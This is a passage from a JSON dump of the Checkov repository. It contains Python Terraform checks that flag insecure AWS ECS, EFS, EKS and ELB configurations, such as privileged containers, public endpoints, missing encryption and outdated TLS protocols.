    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ECSClusterLoggingEncryptedWithCMK(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure ECS Cluster logging is enabled and client to container communication uses CMK\"\n        id = \"CKV_AWS_224\"\n        supported_resources = (\"aws_ecs_cluster\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        configuration = conf.get(\"configuration\")\n        if configuration and isinstance(configuration, list) and isinstance(configuration[0], dict):\n            execute_command = configuration[0].get(\"execute_command_configuration\")\n            if execute_command and isinstance(execute_command, list):\n                execute_command = execute_command[0]\n                if isinstance(execute_command, dict) and not execute_command.get(\"logging\") == [\"NONE\"]:\n                    self.evaluated_keys = [\"configuration/[0]/execute_command_configuration\"]\n                    if execute_command.get(\"kms_key_id\"):\n                        log_conf = execute_command.get(\"log_configuration\")\n                        if log_conf and isinstance(log_conf, list):\n                            log_conf = log_conf[0]\n                            if isinstance(log_conf, dict) and (\n                                log_conf.get(\"cloud_watch_encryption_enabled\") == [True]\n                                or log_conf.get(\"s3_bucket_encryption_enabled\") == [True]\n                            ):\n                                return CheckResult.PASSED\n\n                    return CheckResult.FAILED\n\n        return CheckResult.UNKNOWN\n\n\ncheck = ECSClusterLoggingEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ECSContainerHostProcess.py",
    "content": "from typing import Dict, List, Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ECSContainerHostProcess(BaseResourceCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        NIST.800-53.r5 CA-9(1), NIST.800-53.r5 CM-2\n        ECS task definitions should not share the host's process namespace\n        \"\"\"\n        name = \"Ensure ECS task definitions should not share the host's process namespace\"\n        id = \"CKV_AWS_335\"\n        supported_resources = (\"aws_ecs_task_definition\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        self.evaluated_keys = [\"container_definitions\"]\n        container_definitions = conf.get(\"container_definitions\")\n        if container_definitions and isinstance(container_definitions, list):\n            containers = container_definitions[0]\n            if containers and isinstance(containers, list):\n                for idx, container in enumerate(containers):\n                    if isinstance(container, dict) and container.get(\"pidMode\") == \"host\":\n                        self.evaluated_keys = [f\"container_definitions/[{idx}]/pidMode\"]\n                        return CheckResult.FAILED\n                return CheckResult.PASSED\n            elif isinstance(containers, dict):\n                # TF plan file case\n                for idx, container in enumerate(container_definitions):\n                    if isinstance(container, dict) and container.get(\"pidMode\") == \"host\":\n                        self.evaluated_keys = [f\"container_definitions/[{idx}]/pidMode\"]\n                        return CheckResult.FAILED\n                return CheckResult.PASSED\n\n        return CheckResult.UNKNOWN\n\n\ncheck = ECSContainerHostProcess()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ECSContainerPrivilege.py",
    "content": "from typing import Dict, List, Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ECSContainerPrivilege(BaseResourceCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        NIST.800-53.r5 AC-2(1), NIST.800-53.r5 AC-3, NIST.800-53.r5 AC-3(15), NIST.800-53.r5 AC-3(7),\n        NIST.800-53.r5 AC-5, NIST.800-53.r5 AC-6\n        ECS containers should run as non-privileged\n        \"\"\"\n        name = \"Ensure ECS containers should run as non-privileged\"\n        id = \"CKV_AWS_334\"\n        supported_resources = (\"aws_ecs_task_definition\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        self.evaluated_keys = [\"container_definitions\"]\n        container_definitions = conf.get(\"container_definitions\")\n        if container_definitions and isinstance(container_definitions, list):\n            containers = container_definitions[0]\n            if containers and isinstance(containers, list):\n                for idx, container in enumerate(containers):\n                    if isinstance(container, dict) and container.get(\"privilege\"):\n                        self.evaluated_keys = [f\"container_definitions/[0]/[{idx}]/privilege\"]\n                        return CheckResult.FAILED\n                return CheckResult.PASSED\n            elif isinstance(containers, dict):\n                # TF plan file case\n                for idx, container in enumerate(container_definitions):\n                    if isinstance(container, dict) and container.get(\"privilege\"):\n                        self.evaluated_keys = [f\"container_definitions/[{idx}]/privilege\"]\n                        return CheckResult.FAILED\n                return CheckResult.PASSED\n\n        return CheckResult.UNKNOWN\n\n\ncheck = ECSContainerPrivilege()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ECSContainerReadOnlyRoot.py",
    "content": "from typing import Dict, List, Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ECSContainerReadOnlyRoot(BaseResourceCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        NIST.800-53.r5 AC-2(1), NIST.800-53.r5 AC-3, NIST.800-53.r5 AC-3(15), NIST.800-53.r5 AC-3(7),\n        NIST.800-53.r5 AC-5, NIST.800-53.r5 AC-6\n        ECS containers should be limited to read-only access to root filesystems\n        \"\"\"\n        name = \"Ensure ECS containers are limited to read-only access to root filesystems\"\n        id = \"CKV_AWS_336\"\n        supported_resources = (\"aws_ecs_task_definition\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        self.evaluated_keys = [\"container_definitions\"]\n        container_definitions = conf.get(\"container_definitions\")\n        if container_definitions and isinstance(container_definitions, list):\n            containers = container_definitions[0]\n            if not containers:\n                return CheckResult.UNKNOWN\n\n            if isinstance(containers, list):\n                for idx, container in enumerate(containers):\n                    if isinstance(container, dict) and not container.get(\"readonlyRootFilesystem\"):\n                        self.evaluated_keys = [f\"container_definitions/[0]/[{idx}]/readonlyRootFilesystem\"]\n                        return CheckResult.FAILED\n            elif isinstance(containers, dict):\n                # TF plan file case\n                for idx, container in enumerate(container_definitions):\n                    if isinstance(container, dict) and not container.get(\"readonlyRootFilesystem\"):\n                        self.evaluated_keys = [f\"container_definitions/[{idx}]/readonlyRootFilesystem\"]\n                        return CheckResult.FAILED\n\n            return CheckResult.PASSED\n\n        return CheckResult.UNKNOWN\n\n\ncheck = ECSContainerReadOnlyRoot()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ECSServiceFargateLatest.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ECSServiceFargateLatest(BaseResourceCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        NIST.800-53.r5 SI-2, NIST.800-53.r5 SI-2(2), NIST.800-53.r5 SI-2(4), NIST.800-53.r5 SI-2(5)\n        ECS Fargate services should run on the latest Fargate platform version\n        \"\"\"\n        name = \"Ensure ECS Fargate services run on the latest Fargate platform version\"\n        id = \"CKV_AWS_332\"\n        supported_resources = (\"aws_ecs_service\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        launch_type = conf.get(\"launch_type\")\n        if launch_type and isinstance(launch_type, list) and launch_type[0] == \"FARGATE\":\n            platform_version = conf.get(\"platform_version\")\n            if platform_version and isinstance(platform_version, list) and platform_version[0] != \"LATEST\":\n                return CheckResult.FAILED\n            return CheckResult.PASSED\n\n        return CheckResult.UNKNOWN\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"launch_type\", \"platform_version\"]\n\n\ncheck = ECSServiceFargateLatest()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ECSServicePublicIP.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom typing import Any, List\n\n\nclass ECSServicePublicIP(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        \"\"\"\n        NIST.800-53.r5 AC-21, NIST.800-53.r5 AC-3, NIST.800-53.r5 AC-3(7), NIST.800-53.r5 AC-4, NIST.800-53.r5 AC-4(21),\n        NIST.800-53.r5 AC-6, NIST.800-53.r5 SC-7, NIST.800-53.r5 SC-7(11), NIST.800-53.r5 SC-7(16),\n        NIST.800-53.r5 SC-7(20), NIST.800-53.r5 SC-7(21), NIST.800-53.r5 SC-7(3), NIST.800-53.r5 SC-7(4),\n        NIST.800-53.r5 SC-7(9)\n        ECS services should not have public IP addresses assigned to them automatically\n        \"\"\"\n        name = \"Ensure ECS services do not have public IP addresses assigned to them automatically\"\n        id = \"CKV_AWS_333\"\n        supported_resources = [\"aws_ecs_service\"]\n        categories = [CheckCategories.LOGGING]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"network_configuration/[0]/assign_public_ip\"\n\n    def get_forbidden_values(self) -> List[Any]:\n        return [True]\n\n\ncheck = ECSServicePublicIP()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ECSTaskDefinitionEFSVolumeEncryption.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ECSTaskDefinitionEFSVolumeEncryption(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure Encryption in transit is enabled for EFS volumes in ECS Task definitions\"\n        id = \"CKV_AWS_97\"\n        supported_resources = ['aws_ecs_task_definition']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        self.evaluated_keys = ['volume']\n        if 'volume' in conf.keys():\n            for volume_idx, volume in enumerate(conf['volume']):\n                if isinstance(volume, dict) and 'efs_volume_configuration' in volume:\n                    for efs_idx, efs in enumerate(volume['efs_volume_configuration']):\n                        if isinstance(efs, dict):\n                            self.evaluated_keys = [f'volume/[{volume_idx}]/efs_volume_configuration/[{efs_idx}]']\n                            if 'transit_encryption' in efs and efs['transit_encryption'] == ['ENABLED']:\n                                return CheckResult.PASSED\n                            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = ECSTaskDefinitionEFSVolumeEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ECSTaskDefinitionRoleCheck.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ECSTaskDefinitionRoleCheck(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that the Execution Role ARN and the Task Role ARN are different in ECS Task definitions\"\n        id = \"CKV_AWS_249\"\n        supported_resources = (\"aws_ecs_task_definition\",)\n        categories = (CheckCategories.IAM,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        self.evaluated_keys = [\"execution_role_arn\", \"task_role_arn\"]\n        if \"execution_role_arn\" in conf.keys() and \"task_role_arn\" in conf.keys():\n            execution_role_arn = conf[\"execution_role_arn\"]\n            if not execution_role_arn or execution_role_arn == [None]:\n                # this occurs in TF plan files, when no role was set, very unlikely\n                return CheckResult.PASSED\n\n            if conf[\"execution_role_arn\"] == conf[\"task_role_arn\"]:\n                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = ECSTaskDefinitionRoleCheck()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/EFSAccessPointRoot.py",
    "content": "from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass EFSAccessPointRoot(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        \"\"\"\n        NIST.800-53.r5 AC-6(10)\n        EFS access points should enforce a root directory (avoiding root / default)\n        \"\"\"\n        name = \"EFS access points should enforce a root directory\"\n        id = \"CKV_AWS_329\"\n        supported_resources = ['aws_efs_access_point']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_attribute_result=CheckResult.FAILED)\n\n    def get_inspected_key(self):\n        return \"root_directory/[0]/path\"\n\n    def get_forbidden_values(self):\n        return \"/\"\n\n\ncheck = EFSAccessPointRoot()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/EFSAccessUserIdentity.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom typing import Any\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass EFSAccessUserIdentity(BaseResourceValueCheck):\n    def __init__(self):\n        \"\"\"\n        NIST.800-53.r5 AC-6(2)\n        EFS access points should enforce a user identity\n        \"\"\"\n        name = \"EFS access points should enforce a user identity\"\n        id = \"CKV_AWS_330\"\n        supported_resources = ['aws_efs_access_point']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"posix_user/[0]/gid\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = EFSAccessUserIdentity()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/EFSEncryptionEnabled.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass EFSEncryptionEnabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure EFS is securely encrypted\"\n        id = \"CKV_AWS_42\"\n        supported_resources = ['aws_efs_file_system']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"encrypted\"\n\n\ncheck = EFSEncryptionEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/EFSFileSystemEncryptedWithCMK.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass EFSFileSystemEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure resource is encrypted by KMS using a customer managed Key (CMK)\"\n        id = \"CKV_AWS_184\"\n        supported_resources = ['aws_efs_file_system']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"kms_key_id\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = EFSFileSystemEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/EKSControlPlaneLogging.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom typing import List\n\n\nclass EKSControlPlaneLogging(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure Amazon EKS control plane logging is enabled for all log types\"\n        id = \"CKV_AWS_37\"\n        supported_resources = ['aws_eks_cluster']\n        categories = [CheckCategories.KUBERNETES]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks for enabled_cluster_log_types at aws_eks_cluster:\n            https://www.terraform.io/docs/providers/aws/r/eks_cluster.html\n        :param conf: aws_eks_cluster configuration\n        :return: <CheckResult>\n        \"\"\"\n        log_types = [\"api\", \"audit\", \"authenticator\", \"controllerManager\", \"scheduler\"]\n        enabled_cluster_log_types = conf.get(\"enabled_cluster_log_types\")\n        if enabled_cluster_log_types and enabled_cluster_log_types[0] is not None:\n            enabled_cluster_log_types = enabled_cluster_log_types[0]\n            if isinstance(enabled_cluster_log_types[0], str):\n                if all(elem in enabled_cluster_log_types for elem in log_types):\n                    return CheckResult.PASSED\n            elif isinstance(enabled_cluster_log_types[0], list):\n                if all([elem] in enabled_cluster_log_types for elem in log_types):\n                    return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['enabled_cluster_log_types']\n\n\ncheck = EKSControlPlaneLogging()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/EKSNodeGroupRemoteAccess.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom typing import List\n\n\nclass EKSNodeGroupRemoteAccess(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure AWS EKS node group does not have implicit SSH access from 0.0.0.0/0\"\n        id = \"CKV_AWS_100\"\n        supported_resources = ['aws_eks_node_group']\n        categories = [CheckCategories.KUBERNETES]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        remote_access = conf.get(\"remote_access\")\n        if remote_access and remote_access[0] and \"ec2_ssh_key\" in remote_access[0].keys() \\\n                and \"source_security_group_ids\" not in remote_access[0].keys():\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['remote_access/[0]/ec2_ssh_key', 'remote_access/[0]/source_security_group_ids']\n\n\ncheck = EKSNodeGroupRemoteAccess()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/EKSPlatformVersion.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass EKSPlatformVersion(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        NIST.800-53.r5 CA-9(1), NIST.800-53.r5 CM-2, NIST.800-53.r5 SI-2, NIST.800-53.r5 SI-2(2),\n        NIST.800-53.r5 SI-2(4), NIST.800-53.r5 SI-2(5)\n        EKS clusters should run on a supported Kubernetes version\n        \"\"\"\n        name = \"Ensure EKS clusters run on a supported Kubernetes version\"\n        id = \"CKV_AWS_339\"\n        supported_resources = (\"aws_eks_cluster\",)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self) -> str:\n        return \"version\"\n\n    def get_expected_values(self) -> list[Any]:\n        # https://docs.aws.amazon.com/eks/latest/userguide/kubernetes-versions.html\n        return [\"1.29\", \"1.30\", \"1.31\", \"1.32\", \"1.33\", \"1.34\", \"1.35\"]\n\n\ncheck = EKSPlatformVersion()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/EKSPublicAccess.py",
    "content": "from typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass EKSPublicAccess(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Amazon EKS public endpoint disabled\"\n        id = \"CKV_AWS_39\"\n        supported_resources = (\"aws_eks_cluster\",)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"vpc_config/[0]/endpoint_public_access\"\n\n    def get_expected_value(self) -> Any:\n        return False\n\n\ncheck = EKSPublicAccess()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/EKSPublicAccessCIDR.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass EKSPublicAccessCIDR(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Amazon EKS public endpoint not accessible to 0.0.0.0/0\"\n        id = \"CKV_AWS_38\"\n        supported_resources = ('aws_eks_cluster',)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        \"\"\"\n            Looks for public_access_cidrs at aws_eks_cluster:\n            https://www.terraform.io/docs/providers/aws/r/eks_cluster.html\n        :param conf: aws_eks_cluster configuration\n        :return: <CheckResult>\n        \"\"\"\n        if \"vpc_config\" in conf.keys():\n            if \"endpoint_public_access\" in conf[\"vpc_config\"][0] and not conf[\"vpc_config\"][0][\"endpoint_public_access\"][0]:\n                return CheckResult.PASSED\n            elif \"public_access_cidrs\" in conf[\"vpc_config\"][0]:\n                self.evaluated_keys = ['vpc_config/[0]/public_access_cidrs']\n                cidrs = conf[\"vpc_config\"][0][\"public_access_cidrs\"]\n                if cidrs and isinstance(cidrs, list) and len(cidrs[0]) and \"0.0.0.0/0\" not in cidrs[0]:\n                    return CheckResult.PASSED\n            return CheckResult.FAILED\n        return CheckResult.UNKNOWN\n\n\ncheck = EKSPublicAccessCIDR()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/EKSSecretsEncryption.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass EKSSecretsEncryption(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure EKS Cluster has Secrets Encryption Enabled\"\n        id = \"CKV_AWS_58\"\n        supported_resources = ['aws_eks_cluster']\n        categories = [CheckCategories.KUBERNETES]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"encryption_config/[0]/resources\"\n\n    def get_expected_value(self):\n        return [\"secrets\"]\n\n\ncheck = EKSSecretsEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ELBAccessLogs.py",
    "content": "from typing import List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ELBAccessLogs(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure the ELB has access logging enabled\"\n        id = \"CKV_AWS_92\"\n        supported_resources = ['aws_elb']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if 'access_logs' not in conf:\n            return CheckResult.FAILED\n        if 'enabled' not in conf['access_logs'][0]:\n            return CheckResult.PASSED\n        if conf['access_logs'][0]['enabled'] == [True]:\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"access_logs/[0]/enabled\"]\n\n\ncheck = ELBAccessLogs()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ELBCrossZoneEnable.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass ELBCrossZoneEnable(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure that ELB is cross-zone-load-balancing enabled\"\n        id = \"CKV_AWS_138\"\n        supported_resources = ['aws_elb']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self):\n        return 'cross_zone_load_balancing'\n\n\ncheck = ELBCrossZoneEnable()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ELBPolicyUsesSecureProtocols.py",
    "content": "\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ELBPolicyUsesSecureProtocols(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure ELB Policy uses only secure protocols\"\n        id = \"CKV_AWS_213\"\n        supported_resources = ['aws_load_balancer_policy']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        self.evaluated_keys = ['policy_attribute']\n        policies = conf.get('policy_attribute')\n        for policy in policies:\n            name = policy.get(\"name\")[0]\n            if name in (\"Protocol-SSLv3\", \"Protocol-TLSv1\", \"Protocol-TLSv1.1\"):\n                if policy.get(\"value\")[0]:\n                    return CheckResult.FAILED\n            if name == \"Reference-Security-Policy\":\n                value = policy.get(\"value\")[0]\n                if value in (\"ELBSecurityPolicy-2016-08\", \"ELBSecurityPolicy-TLS-1-1-2017-01\",\n                             \"ELBSecurityPolicy-2015-05\", \"ELBSecurityPolicy-2015-03\", \"ELBSecurityPolicy-2015-02\",\n                             \"ELBSecurityPolicy-TLS-1-0-2015-04\", \"ELBSecurityPolicy-2014-10\",\n                             \"ELBSecurityPolicy-Default\", \"ELBSecurityPolicy-2014-01\"):\n                    return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = ELBPolicyUsesSecureProtocols()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ELBUsesSSL.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ELBUsesSSL(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure that Elastic Load Balancer(s) uses SSL certificates provided by AWS Certificate Manager\"\n        id = \"CKV_AWS_127\"\n        supported_resources = ['aws_elb']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        self.evaluated_keys = ['listener']\n        if 'listener' in conf:\n            for idx, listener in enumerate(conf['listener']):\n                if 'ssl_certificate_id' not in listener:\n                    self.evaluated_keys = [f'listener/{idx}']\n                    return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = ELBUsesSSL()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ELBv2AccessLogs.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass ELBv2AccessLogs(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure the ELBv2 (Application/Network) has access logging enabled\"\n        id = \"CKV_AWS_91\"\n        supported_resources = [\"aws_lb\", \"aws_alb\"]\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"access_logs/0/enabled/0\"\n\n    def scan_resource_conf(self, conf):\n        if conf.get(\"load_balancer_type\") == [\"gateway\"]:\n            return CheckResult.UNKNOWN\n        return super().scan_resource_conf(conf)\n\n\ncheck = ELBv2AccessLogs()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/ELBwListenerNotTLSSSL.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ELBwListenerNotTLSSSL(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure AWS Elastic Load Balancer listener uses TLS/SSL\"\n        id = \"CKV_AWS_376\"\n        supported_resource = (\"aws_elb\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resource)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        if 'listener' in conf:\n            self.evaluated_keys = ['listener']\n            for listener_idx, listener in enumerate(conf.get('listener')):\n                if 'instance_protocol' in listener:\n                    self.evaluated_keys.append(f'listener/[{listener_idx}]/instance_protocol')\n                    if listener.get('instance_protocol')[0].lower() in ('http', 'tcp'):\n                        return CheckResult.FAILED\n                    if listener.get('instance_protocol')[0].lower() in ('https', 'ssl') and \\\n                            ('ssl_certificate_id' not in listener or listener.get('ssl_certificate_id') == \"\"):\n                        return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = ELBwListenerNotTLSSSL()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/EMRClusterConfEncryptsEBS.py",
